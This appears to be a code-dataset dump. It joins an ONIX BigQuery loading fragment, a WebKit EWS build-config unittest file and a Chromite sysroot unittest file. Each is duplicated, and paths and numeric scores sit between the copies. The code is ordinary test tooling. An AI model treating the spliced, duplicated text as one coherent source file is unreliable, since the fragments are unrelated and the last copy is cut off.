The table_id is set to the file name without the extension.
:param releases: a list of releases.
:return: None.
"""
# Load each transformed release
for release in releases:
for transform_path in release.transform_files:
transform_blob = blob_name(transform_path)
table_id, _ = table_ids_from_path(transform_path)
bq_load_shard_v2(
self.schema_folder,
self.project_id,
self.transform_bucket,
transform_blob,
self.dataset_id,
self.dataset_location,
table_id,
release.release_date,
self.source_format,
prefix=self.schema_prefix,
schema_version=self.schema_version,
dataset_description=self.dataset_description,
**self.load_bigquery_table_kwargs,
)
def move_files_to_finished(self, releases: List[OnixRelease], **kwargs):
"""Move ONIX files to SFTP finished folder.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.move_files_to_finished() | 0.747155 | 0.179602 |
import json
import os
import unittest
import loadConfig
class ConfigDotJSONTest(unittest.TestCase):
def test_configuration(self):
cwd = os.path.dirname(os.path.abspath(__file__))
loadConfig.loadBuilderConfig({}, is_test_mode_enabled=True, master_prefix_path=cwd)
def test_builder_keys(self):
cwd = os.path.dirname(os.path.abspath(__file__))
config = json.load(open(os.path.join(cwd, 'config.json')))
valid_builder_keys = ['additionalArguments', 'architectures', 'builddir', 'configuration', 'description',
'defaultProperties', 'env', 'factory', 'icon', 'locks', 'name', 'platform', 'properties',
'remotes', 'runTests', 'shortname', 'tags', 'triggers', 'workernames', 'workerbuilddir']
for builder in config.get('builders', []):
for key in builder:
self.assertTrue(key in valid_builder_keys, 'Unexpected key "{}" for builder {}'.format(key, builder.get('name')))
def test_multiple_scheduers_for_builder(self):
cwd = os.path.dirname(os.path.abspath(__file__))
config = json.load(open(os.path.join(cwd, 'config.json')))
builder_to_schduler_map = {}
for scheduler in config.get('schedulers'):
for buildername in scheduler.get('builderNames'):
self.assertTrue(buildername not in builder_to_schduler_map, 'builder {} appears multiple times in schedulers.'.format(buildername))
builder_to_schduler_map[buildername] = scheduler.get('name')
class TagsForBuilderTest(unittest.TestCase):
def verifyTags(self, builderName, expectedTags):
tags = loadConfig.getTagsForBuilder({'name': builderName})
self.assertEqual(sorted(tags), sorted(expectedTags))
def test_getTagsForBuilder(self):
self.verifyTags('EWS', [])
self.verifyTags('TryBot-10-EWS', [])
self.verifyTags('11-EWS', [])
self.verifyTags('32-EWS', ['32'])
self.verifyTags('iOS-11-EWS', ['iOS'])
self.verifyTags('iOS(11),(test)-EWS', ['iOS', 'test'])
self.verifyTags('Windows-EWS', ['Windows'])
self.verifyTags('Windows_Windows', ['Windows'])
self.verifyTags('GTK-Build-EWS', ['GTK', 'Build'])
self.verifyTags('GTK-WK2-Tests-EWS', ['GTK', 'WK2', 'Tests'])
self.verifyTags('macOS-Sierra-Release-WK1-EWS', ['Sierra', 'Release', 'macOS', 'WK1'])
self.verifyTags('macOS-High-Sierra-Release-32bit-WK2-EWS', ['macOS', 'High', 'Sierra', 'Release', 'WK2', '32bit'])
def test_tags_type(self):
tags = loadConfig.getTagsForBuilder({'name': u'iOS-11-EWS'})
self.assertEqual(tags, ['iOS'])
self.assertEqual(type(tags[0]), str)
def test_getBlackListedTags(self):
blacklistedTags = loadConfig.getBlackListedTags()
expectedTags = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10',
'11', '12', '13', '14', '15', '16', '17', '18', '19', 'EWS', 'TryBot']
self.assertEqual(blacklistedTags, expectedTags)
class TestcheckValidWorker(unittest.TestCase):
def test_invalid_worker(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({})
self.assertEqual(context.exception.args, ('Worker is None or Empty.',))
def test_worker_with_missing_name(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({'platform': 'mac-sierra'})
self.assertEqual(context.exception.args, ('Worker "{\'platform\': \'mac-sierra\'}" does not have name defined.',))
def test_worker_with_missing_platName(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({'name': 'ews101'})
self.assertEqual(context.exception.args, ('Worker ews101 does not have platform defined.',))
def test_valid_worker(self):
loadConfig.checkValidWorker({'name': 'ews101', 'platform': 'mac-sierra'})
class TestcheckValidBuilder(unittest.TestCase):
def test_invalid_builder(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {})
self.assertEqual(context.exception.args, ('Builder is None or Empty.',))
def test_builder_with_missing_name(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'platform': 'mac-sierra'})
self.assertEqual(context.exception.args, ('Builder "{\'platform\': \'mac-sierra\'}" does not have name defined.',))
def test_builder_with_missing_shortname(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'platform': 'mac-sierra', 'name': 'mac-wk2(test)'})
self.assertEqual(context.exception.args, ('Builder "mac-wk2(test)" does not have short name defined. This name is needed for EWS status bubbles.',))
def test_builder_with_invalid_identifier(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2(test)', 'shortname': 'mac-wk2'})
self.assertEqual(context.exception.args, ('Builder name mac-wk2(test) is not a valid buildbot identifier.',))
def test_builder_with_extra_long_name(self):
longName = 'a' * 71
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': longName, 'shortname': 'a'})
self.assertEqual(context.exception.args, ('Builder name {} is longer than maximum allowed by Buildbot (70 characters).'.format(longName),))
def test_builder_with_invalid_configuration(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'asan'})
self.assertEqual(context.exception.args, ('Invalid configuration: asan for builder: mac-wk2',))
def test_builder_with_missing_factory(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release'})
self.assertEqual(context.exception.args, ('Builder mac-wk2 does not have factory defined.',))
def test_builder_with_missing_scheduler(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory', 'platform': 'mac-sierra', 'triggers': ['api-tests-mac-ews']})
self.assertEqual(context.exception.args, ('Trigger: api-tests-mac-ews in builder mac-wk2 does not exist in list of Trigerrable schedulers.',))
def test_builder_with_missing_platform(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory'})
self.assertEqual(context.exception.args, ('Builder mac-wk2 does not have platform defined.',))
def test_valid_builder(self):
loadConfig.checkValidBuilder({}, {'name': 'macOS-High-Sierra-WK2-EWS', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory', 'platform': 'mac-sierra'})
class TestcheckWorkersAndBuildersForConsistency(unittest.TestCase):
def __init__(self, *args, **kwargs):
self.WK2Builder = {'name': 'macOS-High-Sierra-WK2-EWS', 'shortname': 'mac-wk2', 'factory': 'WK2Factory', 'platform': 'mac-sierra', 'workernames': ['ews101', 'ews102']}
self.ews101 = {'name': 'ews101', 'platform': 'mac-sierra'}
self.ews102 = {'name': 'ews102', 'platform': 'ios-11'}
super(TestcheckWorkersAndBuildersForConsistency, self).__init__(*args, **kwargs)
def test_checkWorkersAndBuildersForConsistency(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Builder macOS-High-Sierra-WK2-EWS has worker ews101, which is not defined in workers list!',))
def test_checkWorkersAndBuildersForConsistency1(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, self.ews102], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Builder macOS-High-Sierra-WK2-EWS is for platform mac-sierra, but has worker ews102 for platform ios-11!',))
def test_duplicate_worker(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, self.ews101], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Duplicate worker entry found for ews101.',))
def test_success(self):
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, {'name': 'ews102', 'platform': 'mac-sierra'}], [self.WK2Builder])
if __name__ == '__main__':
unittest.main() | Tools/BuildSlaveSupport/ews-build/loadConfig_unittest.py |
import json
import os
import unittest
import loadConfig
class ConfigDotJSONTest(unittest.TestCase):
def test_configuration(self):
cwd = os.path.dirname(os.path.abspath(__file__))
loadConfig.loadBuilderConfig({}, is_test_mode_enabled=True, master_prefix_path=cwd)
def test_builder_keys(self):
cwd = os.path.dirname(os.path.abspath(__file__))
config = json.load(open(os.path.join(cwd, 'config.json')))
valid_builder_keys = ['additionalArguments', 'architectures', 'builddir', 'configuration', 'description',
'defaultProperties', 'env', 'factory', 'icon', 'locks', 'name', 'platform', 'properties',
'remotes', 'runTests', 'shortname', 'tags', 'triggers', 'workernames', 'workerbuilddir']
for builder in config.get('builders', []):
for key in builder:
self.assertTrue(key in valid_builder_keys, 'Unexpected key "{}" for builder {}'.format(key, builder.get('name')))
def test_multiple_scheduers_for_builder(self):
cwd = os.path.dirname(os.path.abspath(__file__))
config = json.load(open(os.path.join(cwd, 'config.json')))
builder_to_schduler_map = {}
for scheduler in config.get('schedulers'):
for buildername in scheduler.get('builderNames'):
self.assertTrue(buildername not in builder_to_schduler_map, 'builder {} appears multiple times in schedulers.'.format(buildername))
builder_to_schduler_map[buildername] = scheduler.get('name')
class TagsForBuilderTest(unittest.TestCase):
def verifyTags(self, builderName, expectedTags):
tags = loadConfig.getTagsForBuilder({'name': builderName})
self.assertEqual(sorted(tags), sorted(expectedTags))
def test_getTagsForBuilder(self):
self.verifyTags('EWS', [])
self.verifyTags('TryBot-10-EWS', [])
self.verifyTags('11-EWS', [])
self.verifyTags('32-EWS', ['32'])
self.verifyTags('iOS-11-EWS', ['iOS'])
self.verifyTags('iOS(11),(test)-EWS', ['iOS', 'test'])
self.verifyTags('Windows-EWS', ['Windows'])
self.verifyTags('Windows_Windows', ['Windows'])
self.verifyTags('GTK-Build-EWS', ['GTK', 'Build'])
self.verifyTags('GTK-WK2-Tests-EWS', ['GTK', 'WK2', 'Tests'])
self.verifyTags('macOS-Sierra-Release-WK1-EWS', ['Sierra', 'Release', 'macOS', 'WK1'])
self.verifyTags('macOS-High-Sierra-Release-32bit-WK2-EWS', ['macOS', 'High', 'Sierra', 'Release', 'WK2', '32bit'])
def test_tags_type(self):
tags = loadConfig.getTagsForBuilder({'name': u'iOS-11-EWS'})
self.assertEqual(tags, ['iOS'])
self.assertEqual(type(tags[0]), str)
def test_getBlackListedTags(self):
blacklistedTags = loadConfig.getBlackListedTags()
expectedTags = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10',
'11', '12', '13', '14', '15', '16', '17', '18', '19', 'EWS', 'TryBot']
self.assertEqual(blacklistedTags, expectedTags)
class TestcheckValidWorker(unittest.TestCase):
def test_invalid_worker(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({})
self.assertEqual(context.exception.args, ('Worker is None or Empty.',))
def test_worker_with_missing_name(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({'platform': 'mac-sierra'})
self.assertEqual(context.exception.args, ('Worker "{\'platform\': \'mac-sierra\'}" does not have name defined.',))
def test_worker_with_missing_platName(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidWorker({'name': 'ews101'})
self.assertEqual(context.exception.args, ('Worker ews101 does not have platform defined.',))
def test_valid_worker(self):
loadConfig.checkValidWorker({'name': 'ews101', 'platform': 'mac-sierra'})
class TestcheckValidBuilder(unittest.TestCase):
def test_invalid_builder(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {})
self.assertEqual(context.exception.args, ('Builder is None or Empty.',))
def test_builder_with_missing_name(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'platform': 'mac-sierra'})
self.assertEqual(context.exception.args, ('Builder "{\'platform\': \'mac-sierra\'}" does not have name defined.',))
def test_builder_with_missing_shortname(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'platform': 'mac-sierra', 'name': 'mac-wk2(test)'})
self.assertEqual(context.exception.args, ('Builder "mac-wk2(test)" does not have short name defined. This name is needed for EWS status bubbles.',))
def test_builder_with_invalid_identifier(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2(test)', 'shortname': 'mac-wk2'})
self.assertEqual(context.exception.args, ('Builder name mac-wk2(test) is not a valid buildbot identifier.',))
def test_builder_with_extra_long_name(self):
longName = 'a' * 71
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': longName, 'shortname': 'a'})
self.assertEqual(context.exception.args, ('Builder name {} is longer than maximum allowed by Buildbot (70 characters).'.format(longName),))
def test_builder_with_invalid_configuration(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'asan'})
self.assertEqual(context.exception.args, ('Invalid configuration: asan for builder: mac-wk2',))
def test_builder_with_missing_factory(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release'})
self.assertEqual(context.exception.args, ('Builder mac-wk2 does not have factory defined.',))
def test_builder_with_missing_scheduler(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory', 'platform': 'mac-sierra', 'triggers': ['api-tests-mac-ews']})
self.assertEqual(context.exception.args, ('Trigger: api-tests-mac-ews in builder mac-wk2 does not exist in list of Trigerrable schedulers.',))
def test_builder_with_missing_platform(self):
with self.assertRaises(Exception) as context:
loadConfig.checkValidBuilder({}, {'name': 'mac-wk2', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory'})
self.assertEqual(context.exception.args, ('Builder mac-wk2 does not have platform defined.',))
def test_valid_builder(self):
loadConfig.checkValidBuilder({}, {'name': 'macOS-High-Sierra-WK2-EWS', 'shortname': 'mac-wk2', 'configuration': 'release', 'factory': 'WK2Factory', 'platform': 'mac-sierra'})
class TestcheckWorkersAndBuildersForConsistency(unittest.TestCase):
def __init__(self, *args, **kwargs):
self.WK2Builder = {'name': 'macOS-High-Sierra-WK2-EWS', 'shortname': 'mac-wk2', 'factory': 'WK2Factory', 'platform': 'mac-sierra', 'workernames': ['ews101', 'ews102']}
self.ews101 = {'name': 'ews101', 'platform': 'mac-sierra'}
self.ews102 = {'name': 'ews102', 'platform': 'ios-11'}
super(TestcheckWorkersAndBuildersForConsistency, self).__init__(*args, **kwargs)
def test_checkWorkersAndBuildersForConsistency(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Builder macOS-High-Sierra-WK2-EWS has worker ews101, which is not defined in workers list!',))
def test_checkWorkersAndBuildersForConsistency1(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, self.ews102], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Builder macOS-High-Sierra-WK2-EWS is for platform mac-sierra, but has worker ews102 for platform ios-11!',))
def test_duplicate_worker(self):
with self.assertRaises(Exception) as context:
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, self.ews101], [self.WK2Builder])
self.assertEqual(context.exception.args, ('Duplicate worker entry found for ews101.',))
def test_success(self):
loadConfig.checkWorkersAndBuildersForConsistency({}, [self.ews101, {'name': 'ews102', 'platform': 'mac-sierra'}], [self.WK2Builder])
if __name__ == '__main__':
unittest.main() | 0.516839 | 0.196229 |
from __future__ import print_function
import os
import sys
from chromite.api.gen.chromiumos import common_pb2
from chromite.lib import chroot_lib
from chromite.lib import constants
from chromite.lib import cros_build_lib
from chromite.lib import cros_test_lib
from chromite.lib import osutils
from chromite.lib import sysroot_lib
from chromite.lib import toolchain
from chromite.lib.parser import package_info
assert sys.version_info >= (3, 6), 'This module requires Python 3.6+'
class SysrootLibTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running all filesystem commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
sysroot_path = os.path.join(self.tempdir, 'sysroot')
osutils.SafeMakedirs(sysroot_path)
self.sysroot = sysroot_lib.Sysroot(sysroot_path)
self.relative_sysroot = sysroot_lib.Sysroot('sysroot')
def testGetStandardField(self):
"""Tests that standard field can be fetched correctly."""
self.sysroot.WriteConfig('FOO="bar"')
self.assertEqual('bar', self.sysroot.GetStandardField('FOO'))
# Works with multiline strings
multiline = """foo
bar
baz
"""
self.sysroot.WriteConfig('TEST="%s"' % multiline)
self.assertEqual(multiline, self.sysroot.GetStandardField('TEST'))
def testReadWriteCache(self):
"""Tests that we can write and read to the cache."""
# If a field is not defined we get None.
self.assertEqual(None, self.sysroot.GetCachedField('foo'))
# If we set a field, we can get it.
self.sysroot.SetCachedField('foo', 'bar')
self.assertEqual('bar', self.sysroot.GetCachedField('foo'))
# Setting a field in an existing cache preserve the previous values.
self.sysroot.SetCachedField('hello', 'bonjour')
self.assertEqual('bar', self.sysroot.GetCachedField('foo'))
self.assertEqual('bonjour', self.sysroot.GetCachedField('hello'))
# Setting a field to None unsets it.
self.sysroot.SetCachedField('hello', None)
self.assertEqual(None, self.sysroot.GetCachedField('hello'))
def testErrorOnBadCachedValue(self):
"""Tests that we detect bad value for the sysroot cache."""
forbidden = [
'hello"bonjour',
'hello\\bonjour',
'hello\nbonjour',
'hello$bonjour',
'hello`bonjour',
]
for value in forbidden:
with self.assertRaises(ValueError):
self.sysroot.SetCachedField('FOO', value)
def testGenerateConfigNoToolchainRaisesError(self):
"""Tests _GenerateConfig() with no toolchain raises an error."""
self.PatchObject(toolchain, 'FilterToolchains', autospec=True,
return_value={})
with self.assertRaises(sysroot_lib.ConfigurationError):
# pylint: disable=protected-access
self.sysroot._GenerateConfig({}, ['foo_overlay'], ['foo_overlay'], '')
def testExists(self):
"""Tests the Exists method."""
self.assertTrue(self.sysroot.Exists())
dne_sysroot = sysroot_lib.Sysroot(os.path.join(self.tempdir, 'DNE'))
self.assertFalse(dne_sysroot.Exists())
def testExistsInChroot(self):
"""Test the Exists method with a chroot."""
chroot = chroot_lib.Chroot(self.tempdir)
self.assertTrue(self.relative_sysroot.Exists(chroot=chroot))
def testEquals(self):
"""Sanity check for the __eq__ methods."""
sysroot1 = sysroot_lib.Sysroot(self.tempdir)
sysroot2 = sysroot_lib.Sysroot(self.tempdir)
self.assertEqual(sysroot1, sysroot2)
class ProfileTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
def testConversion(self):
"""Test converting to/from protobuf."""
profile1 = sysroot_lib.Profile('profile')
profile2 = sysroot_lib.Profile()
proto1 = common_pb2.Profile(name='profile')
proto2 = common_pb2.Profile()
self.assertEqual(profile1.as_protobuf, proto1)
self.assertEqual(profile2.as_protobuf, proto2)
self.assertEqual(profile1, sysroot_lib.Profile.from_protobuf(proto1))
self.assertEqual(profile2, sysroot_lib.Profile.from_protobuf(proto2))
def testEquality(self):
"""Test that equality functions work."""
profile = sysroot_lib.Profile('profile')
self.assertEqual(profile, sysroot_lib.Profile('profile'))
self.assertNotEqual(profile, sysroot_lib.Profile('other'))
self.assertNotEqual(profile, sysroot_lib.Profile(''))
class SysrootLibInstallConfigTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
# pylint: disable=protected-access
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running all filesystem commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
self.sysroot = sysroot_lib.Sysroot(self.tempdir)
self.make_conf_generic_target = os.path.join(self.tempdir,
'make.conf.generic-target')
self.make_conf_user = os.path.join(self.tempdir, 'make.conf.user')
D = cros_test_lib.Directory
filesystem = (
D('etc', ()),
'make.conf.generic-target',
'make.conf.user',
)
cros_test_lib.CreateOnDiskHierarchy(self.tempdir, filesystem)
def testInstallMakeConf(self):
"""Test make.conf installation."""
self.PatchObject(sysroot_lib, '_GetMakeConfGenericPath',
return_value=self.make_conf_generic_target)
self.sysroot.InstallMakeConf()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF)
self.assertExists(filepath)
def testInstallMakeConfBoard(self):
"""Test make.conf.board installation."""
self.PatchObject(self.sysroot, 'GenerateBoardMakeConf', return_value='#foo')
self.PatchObject(self.sysroot, 'GenerateBinhostConf', return_value='#bar')
self.sysroot.InstallMakeConfBoard()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_BOARD)
content = '#foo\n#bar\n'
self.assertExists(filepath)
self.assertFileContents(filepath, content)
def testInstallMakeConfBoardSetup(self):
"""Test make.conf.board_setup installation."""
self.PatchObject(self.sysroot, 'GenerateBoardSetupConfig',
return_value='#foo')
self.sysroot.InstallMakeConfBoardSetup('board')
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_BOARD_SETUP)
content = '#foo'
self.assertExists(filepath)
self.assertFileContents(filepath, content)
def testInstallMakeConfUser(self):
"""Test make.conf.user installation."""
self.PatchObject(sysroot_lib, '_GetChrootMakeConfUserPath',
return_value=self.make_conf_user)
self.sysroot.InstallMakeConfUser()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_USER)
self.assertExists(filepath)
class SysrootLibToolchainUpdateTest(cros_test_lib.RunCommandTempDirTestCase):
"""Sysroot.ToolchanUpdate tests."""
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
self.sysroot = sysroot_lib.Sysroot(self.tempdir)
self.emerge = os.path.join(constants.CHROMITE_BIN_DIR, 'parallel_emerge')
def testDefaultUpdateToolchain(self):
"""Test the default path."""
self.PatchObject(toolchain, 'InstallToolchain')
self.sysroot.UpdateToolchain('board')
self.assertCommandContains(
[self.emerge, '--board=board', '--getbinpkg', '--usepkg'])
def testNoLocalInitUpdateToolchain(self):
"""Test the nousepkg and not local case."""
self.PatchObject(toolchain, 'InstallToolchain')
self.sysroot.UpdateToolchain('board', local_init=False)
self.assertCommandContains(['--getbinpkg', '--usepkg'], expected=False)
self.assertCommandContains([self.emerge, '--board=board'])
def testReUpdateToolchain(self):
"""Test behavior when not running for the first time."""
self.PatchObject(toolchain, 'InstallToolchain')
self.PatchObject(self.sysroot, 'IsToolchainInstalled', return_value=True)
self.sysroot.UpdateToolchain('board')
self.assertCommandContains([self.emerge], expected=False)
def testInstallToolchainError(self):
"""Test error handling from the libc install."""
failed = ['cat/pkg', 'cat/pkg2']
failed_cpvs = [package_info.SplitCPV(pkg, strict=False) for pkg in failed]
result = cros_build_lib.CommandResult(returncode=1)
error = toolchain.ToolchainInstallError('Error', result=result,
tc_info=failed_cpvs)
self.PatchObject(toolchain, 'InstallToolchain', side_effect=error)
try:
self.sysroot.UpdateToolchain('board')
except sysroot_lib.ToolchainInstallError as e:
self.assertTrue(e.failed_toolchain_info)
self.assertEqual(failed_cpvs, e.failed_toolchain_info)
except Exception as e:
self.fail('Unexpected exception raised: %s' % type(e))
else:
self.fail('Expected an exception.')
def testEmergeError(self):
"""Test the emerge error handling."""
self.PatchObject(toolchain, 'InstallToolchain')
# pylint: disable=protected-access
command = self.sysroot._UpdateToolchainCommand('board', True)
err = cros_build_lib.RunCommandError(
'Error', cros_build_lib.CommandResult(returncode=1))
self.rc.AddCmdResult(command, side_effect=err)
with self.assertRaises(sysroot_lib.ToolchainInstallError):
self.sysroot.UpdateToolchain('board', local_init=True) | lib/sysroot_lib_unittest.py | from __future__ import print_function
import os
import sys
from chromite.api.gen.chromiumos import common_pb2
from chromite.lib import chroot_lib
from chromite.lib import constants
from chromite.lib import cros_build_lib
from chromite.lib import cros_test_lib
from chromite.lib import osutils
from chromite.lib import sysroot_lib
from chromite.lib import toolchain
from chromite.lib.parser import package_info
assert sys.version_info >= (3, 6), 'This module requires Python 3.6+'
class SysrootLibTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running all filesystem commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
sysroot_path = os.path.join(self.tempdir, 'sysroot')
osutils.SafeMakedirs(sysroot_path)
self.sysroot = sysroot_lib.Sysroot(sysroot_path)
self.relative_sysroot = sysroot_lib.Sysroot('sysroot')
def testGetStandardField(self):
"""Tests that standard field can be fetched correctly."""
self.sysroot.WriteConfig('FOO="bar"')
self.assertEqual('bar', self.sysroot.GetStandardField('FOO'))
# Works with multiline strings
multiline = """foo
bar
baz
"""
self.sysroot.WriteConfig('TEST="%s"' % multiline)
self.assertEqual(multiline, self.sysroot.GetStandardField('TEST'))
def testReadWriteCache(self):
"""Tests that we can write and read to the cache."""
# If a field is not defined we get None.
self.assertEqual(None, self.sysroot.GetCachedField('foo'))
# If we set a field, we can get it.
self.sysroot.SetCachedField('foo', 'bar')
self.assertEqual('bar', self.sysroot.GetCachedField('foo'))
# Setting a field in an existing cache preserve the previous values.
self.sysroot.SetCachedField('hello', 'bonjour')
self.assertEqual('bar', self.sysroot.GetCachedField('foo'))
self.assertEqual('bonjour', self.sysroot.GetCachedField('hello'))
# Setting a field to None unsets it.
self.sysroot.SetCachedField('hello', None)
self.assertEqual(None, self.sysroot.GetCachedField('hello'))
def testErrorOnBadCachedValue(self):
"""Tests that we detect bad value for the sysroot cache."""
forbidden = [
'hello"bonjour',
'hello\\bonjour',
'hello\nbonjour',
'hello$bonjour',
'hello`bonjour',
]
for value in forbidden:
with self.assertRaises(ValueError):
self.sysroot.SetCachedField('FOO', value)
def testGenerateConfigNoToolchainRaisesError(self):
"""Tests _GenerateConfig() with no toolchain raises an error."""
self.PatchObject(toolchain, 'FilterToolchains', autospec=True,
return_value={})
with self.assertRaises(sysroot_lib.ConfigurationError):
# pylint: disable=protected-access
self.sysroot._GenerateConfig({}, ['foo_overlay'], ['foo_overlay'], '')
def testExists(self):
"""Tests the Exists method."""
self.assertTrue(self.sysroot.Exists())
dne_sysroot = sysroot_lib.Sysroot(os.path.join(self.tempdir, 'DNE'))
self.assertFalse(dne_sysroot.Exists())
def testExistsInChroot(self):
"""Test the Exists method with a chroot."""
chroot = chroot_lib.Chroot(self.tempdir)
self.assertTrue(self.relative_sysroot.Exists(chroot=chroot))
def testEquals(self):
"""Sanity check for the __eq__ methods."""
sysroot1 = sysroot_lib.Sysroot(self.tempdir)
sysroot2 = sysroot_lib.Sysroot(self.tempdir)
self.assertEqual(sysroot1, sysroot2)
class ProfileTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
def testConversion(self):
"""Test converting to/from protobuf."""
profile1 = sysroot_lib.Profile('profile')
profile2 = sysroot_lib.Profile()
proto1 = common_pb2.Profile(name='profile')
proto2 = common_pb2.Profile()
self.assertEqual(profile1.as_protobuf, proto1)
self.assertEqual(profile2.as_protobuf, proto2)
self.assertEqual(profile1, sysroot_lib.Profile.from_protobuf(proto1))
self.assertEqual(profile2, sysroot_lib.Profile.from_protobuf(proto2))
def testEquality(self):
"""Test that equality functions work."""
profile = sysroot_lib.Profile('profile')
self.assertEqual(profile, sysroot_lib.Profile('profile'))
self.assertNotEqual(profile, sysroot_lib.Profile('other'))
self.assertNotEqual(profile, sysroot_lib.Profile(''))
class SysrootLibInstallConfigTest(cros_test_lib.MockTempDirTestCase):
"""Unittest for sysroot_lib.py"""
# pylint: disable=protected-access
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running all filesystem commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
self.sysroot = sysroot_lib.Sysroot(self.tempdir)
self.make_conf_generic_target = os.path.join(self.tempdir,
'make.conf.generic-target')
self.make_conf_user = os.path.join(self.tempdir, 'make.conf.user')
D = cros_test_lib.Directory
filesystem = (
D('etc', ()),
'make.conf.generic-target',
'make.conf.user',
)
cros_test_lib.CreateOnDiskHierarchy(self.tempdir, filesystem)
def testInstallMakeConf(self):
"""Test make.conf installation."""
self.PatchObject(sysroot_lib, '_GetMakeConfGenericPath',
return_value=self.make_conf_generic_target)
self.sysroot.InstallMakeConf()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF)
self.assertExists(filepath)
def testInstallMakeConfBoard(self):
"""Test make.conf.board installation."""
self.PatchObject(self.sysroot, 'GenerateBoardMakeConf', return_value='#foo')
self.PatchObject(self.sysroot, 'GenerateBinhostConf', return_value='#bar')
self.sysroot.InstallMakeConfBoard()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_BOARD)
content = '#foo\n#bar\n'
self.assertExists(filepath)
self.assertFileContents(filepath, content)
def testInstallMakeConfBoardSetup(self):
"""Test make.conf.board_setup installation."""
self.PatchObject(self.sysroot, 'GenerateBoardSetupConfig',
return_value='#foo')
self.sysroot.InstallMakeConfBoardSetup('board')
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_BOARD_SETUP)
content = '#foo'
self.assertExists(filepath)
self.assertFileContents(filepath, content)
def testInstallMakeConfUser(self):
"""Test make.conf.user installation."""
self.PatchObject(sysroot_lib, '_GetChrootMakeConfUserPath',
return_value=self.make_conf_user)
self.sysroot.InstallMakeConfUser()
filepath = os.path.join(self.tempdir, sysroot_lib._MAKE_CONF_USER)
self.assertExists(filepath)
